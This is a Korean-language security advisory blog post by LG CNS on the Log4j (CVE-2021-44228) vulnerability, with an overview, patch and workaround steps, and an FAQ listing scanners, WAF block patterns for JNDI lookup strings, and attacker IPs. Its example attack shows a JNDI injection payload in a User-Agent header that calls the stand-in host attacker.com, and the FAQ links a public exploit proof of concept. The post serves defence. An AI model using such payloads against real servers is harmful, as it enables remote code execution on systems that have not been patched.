본문 바로가기

블로그

IT 트렌드의 최신 소식을 만나보세요.

보안

[긴급 알림][보안동향] Log4j 취약점 공격 피해 주의

2021.12.14

최근 발표된 Log4j 관련 보안상 치명적인 결점이 발견됨에 따라 긴급 조치가 필요합니다.

1. 개요

● Log4j에서 발생한 보안 경고로, 대부분 인터넷서비스에 영향이 있는 최상급 위험도를 가진 보안 취약점입니다. (12/10 이슈화)
● 악성코드 감염, 원격 명령 실행 등 심각한 피해를 방지하기 위한 보완 패치가 발표됐습니다.
● 취약점 정보와 함께 스캐너 등 공격툴도 인터넷에 공개된 상황으로 신속한 대응이 필요합니다.
● 취약 대상 버전 : Log4j 2.0-beta9 ~ 2.14.1(CVE-2021-44228)

※ Log4j : 자바 기반 로깅 유틸리티로 로그를 자동으로 출력해 주는 도구로서 서버, 프로그램의 운영 유지 관리 목적을 위해 범용으로 사용됩니다.

2. 특징

● 해커가 시스템의 모든 정보에 접근할 수 있는 권한을 획득할 수 있을 정도로 위험도가 높습니다.
● 웹서비스, 클라우드, IT솔루션 등 광범위한 서비스에 사용돼 피해 발생 가능성도 높습니다.
※ 제조사별 현황
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

3. 상세 공격 기법(예시)

1] GET /anything HTTP/1.1 User-Agent: ${jndi:ldap://attacker.com/a} <= LDAP* 요청 구문

※ LDAP : 사용자/시스템/서비스 등의 정보를 찾아볼 수 있도록 하는 프로토콜입니다.

2] Query LDAP

3] LDAP Response.... javaCodeBase: http://attacker.com javaFactory: Exploit

4] 원격명령실행(RCE) 유형의 Malware 설치합니다.
* RCE: remote code execution

4. 대응 방안

● 보안 업데이트 적용

  • 최신 버전 업데이트가 필수이며, 패치 불가시 임시 조치방안을 참고해 보완 조치가 필요합니다.
  • 이번 보안 이슈가 발생한 Log4j 버전(2.0-beta9 ~ 2.14.1)을 최신 버전(2.15.0)으로 패치합니다.
  • 사용 버전 확인 방법: Log4j가 설치된 경로의 “pom.xml” 파일을 열어 “log4j-core”로 검색해 현재 사용 버전 확인이 가능합니다.
  • 소스코드를 수정할 수 없는 등 패치 적용 불가시에는 아래 임시 방안을 조치합니다.

※ Log4j 1.* 버전은 상기 취약점은 없으나, 다른 보안 취약점이 있는 것으로 알려져 최신 버전의 패치 적용을 권고합니다.

● 공격 정보 차단

  • 현재까지 알려진 위협정보를 기반으로 보안 패치 적용을 권고드립니다.
  • 공격 정보를 차단함으로써 일부 방어가 가능합니다.
  • 웹방화벽/IPS 차단 정책 적용(9개)
  • 공격 IP 차단(33개)

※ 위에 제시한 격 구문과 IP 외 추가 위협 정보가 있으나, 현재까지 파악된 주요 위협 정보로 향후 추가될 수 있습니다.

■ log4j 취약점 대응 FAQ

Q1. log4j는 무엇이며, 어떤 용도로 쓰는건가요?

A. 자바 기반 로깅 유틸리티로 로그를 자동으로 출력해 주는 자바 기반 로깅 오픈소스 유틸리티로서, 디버깅 및 서버 및 프로그램의 운영 유지 관리 목적을 위해 범용으로 사용됩니다
* 참고 log4j 2 – https://logging.apache.org/log4j/2.x/

Q2. log4j 1.x 버전에도 이번 취약점 공격 피해 영향이 있나요?

A. 금번 취약점에 log4j 1.x버젼은 해당이 되지 않습니다. 하지만 log4j 1.x는 현재 EOS되어 서비스 되지 않고, 또다른 보안 취약점이 있는것으로 알려져 있습니다. 따라서 log4j 최신 버전으로 패치를 권고합니다.
* 참고 log4j 1 – https://logging.apache.org/log4j/1.2/

Q3. log4j 취약점 관련해서 상세하게 설명한 자료나 이해를 도울 수 있을 만한 정리가 잘된 자료를 알 수 있을까요?

A. 각종 포털과 유튜브를 통해 정보를 습득할 수 있지만, 한국인터넷진흥원(KISA) 인터넷보호나라(KrCERT)에서 손쉽게 이해할 수 있게 잘 정리되어 있습니다.
* log4j설명 사이트
1) KrCERT(www.krcert.or.kr) -> 자료실 -> 보안공지 -> Apache Log4j 2 보안 업데이트 권고
2) KrCERT(www.krcert.or.kr) -> 자료실 -> 가이드 및 매뉴얼 -> QnA 형식으로 알아보는 Apache log4j 취약점 대응 가이드

Q4. log4j 공격툴이 공개되어 있나요?

A. log4j 취약점에 대해 github(깃허브, SW개발자 공유 커뮤니티)에 공개되어 있으며, 구글 등 검색 엔진으로 누구나 쉽게 검색하여 사용할 수 있고, youtube로 그대로 따라할 수 있게 되어 있습니다.
* 참고 log4j 해킹툴 POC – https://github.com/kozmer/log4j-shell-poc

Q5. log4j 취약점을 파악할 수 있는 점검툴은 어디서 구할 수 있나요?

A. log4j 취약점이 있는지 여부를 진단하는 툴 또한 인터넷에 공개되어 있습니다.
주요 점검툴은 아래와 같습니다.
* log4j 취약점 점검툴
1) 로그프레소 점검툴(Windows, Linux, Any OS)) :
– Download – https://github.com/logpresso/CVE-2021-44228-Scanner
2) log4j RCE Exploitation Detection(리눅스 Shell) :
– Download – https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
3) log4shell-detector(Python 기반)
– Download – https://github.com/Neo23x0/log4shell-detector

Q6. 소스코드를 수정하지 못하는 경우 등 패치 적용을 할 수 없는 환경에서는 어떻게 조치해야 하나요?

A. 버전에 따라 임시 조치 방안이 있습니다. 다만 근본적으로 해결하려면 최신 보안 패치를 적용하길 권장드립니다.
1) 2.0-beta9 ~ 2.10.0
– 방법 : JndiLookup 클래스를 경로에서 삭제
– 명령 : #zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
2) 2.10 ~ 2.14.1
– 방법 : log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수를 true 설정
– 명령 : # java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

Q7. log4j 관련해 제품 및 벤더 정보를 알 수 있나요?

A. 각 제품 주요 벤더별 Log4j 취약점 관련 공식 게시글 정보를 모아놓은 github에 자료가 있습니다.
* 참고 – Security Advisories /Bulleins linked to Log4Shell
: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Q8. 패치 적용후 버전 확인은 어떻게 하나요?

A. log4j 디렉토리 경로내 pom.xml 파일을 에디터로 열어 아래 내용을 확인하면 현재 적용된 log4j 버전 정보를 확인할 수 있습니다.
#중략
<dependency>
<groupid>org.apache.logging.log4j</groupid>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
#중략

Q9. 현재까지 취약점으로인해 알려진 보안사고 사례가 있을까요?후 버전 확인은 어떻게 하나요?

A. log4j 관련해서 대외 뉴스나 SNS 등을 통해 알려진 보안사고는 현재까지 없는 것으로 파악됩니다. 다만 공격이 증가하고 있어 조만간 피해 사례가 나올 수 있습니다.
국내 보안업체들도 log4j 해킹 시도 모니터링 중으로 현재 관련 공격시도가 증가하고 있다고 합니다.
’18년 셰도우 브로커스(Shadow Brokers)라는 해킹 단체가 미국 NSA의 해킹 툴을 유출해 워너크라이(WannaCry)라는 악성코드로 전세계적으로 피해를 입힌 사례가 있습니다.
log4j 취약점에 대한 국내외 피해도 조만간에 보고될것으로 보입니다.
보안업체, 국정원 등은 국내 공격시도 위협이 높은 IP리스트를 공개하고 있으며, LG CNS는 관련 공격 IP를 지속적으로 고객들에게 안내 드리고 있습니다.

Q10. 보안 업데이트를 하지 않으면 어떤 피해가 발생할 수 있을까요?

A. log4j 취약점으로 대상 서버나 PC에 악성파일을 심는다던지, 악의적인 커맨드를 수행하는 등 제약없이 최상위 권한으로 원하는 명령을 실행할 수 있습니다.
이로 인해 랜섬웨어에 감염되거나 가상화폐 채굴, 정보 유출 등 다양한 피해가 발생 가능합니다.

Q11. 취약점을 탐지하거나 차단할 수 있는 정책은 있는지, 있다면 어떤 내용인지 알 수 있나요?

Github에 주요 공격에 대한 Yara 기반 탐지룰을 공개했으며, 현재 주요 공격 구문에 대한 일반적인 탐지 패턴과 우회 공격 탐지 패턴을 공개했습니다.

1) 웹방화벽/IPS 차단 패턴
${jndi:ldap:/
${jndi:rmi:/
${jndi:ldaps:/
${jndi:dns:/
${jndi:iiop:/
${jndi:http:/
${jndi:nis:/
${jndi:nds:/
${jndi:corba:/
※ 대소문자 구별없이 적용

2) Yara Rule – https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar

Q12. 공격자에 대한 정보(IP, 악성파일 등)가 현재 공개된 사항이 있나요?

국정원 및 해외 보안업체에서 공격 IP 및 IoCs(Indicators of Compromise) 정보를 공개했으며, 앞으로도 추가 정보가 지속적으로 나올 가능성이 높습니다.

1) 국정원 KCTI log4j 취약점 차단 권고 IP(16개)
89.249.63.3 (우즈베키스탄), 61.19.25.207 (태국), 195.251.41.139 (그리스),
131.100.148.7 (브라질), 46.105.95.220 (프랑스), 170.210.45.163 (아르헨티나),
5.157.38.50 (스웨덴), 114.112.161.155 (중국), 221.228.87.37 (중국),
191.232.38.25 (브라질), 164.52.53.163 (홍콩), 45.130.229.168 (싱가폴)
133.130.120.176 (일본), 152.89.239.12 (덴마크), 163.172.157.143 (프랑스),
205.185.115.217 (미국)

2) CISCO TALOS 차단 권고 – https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

Q13. log4j 취약점 공격이 시도됐다면 서버단에서 어떤 로그가 남는지 알 수 있을까요?

리눅스의 경우 아래와 같이 /var/log 폴더내 아래 OS 커맨드 명령 실행으로 공격 시도 여부를 점검할 수 있습니다.

[참고 자료]

글 ㅣ LG CNS 보안사업담당

챗봇과 대화를 할 수 있어요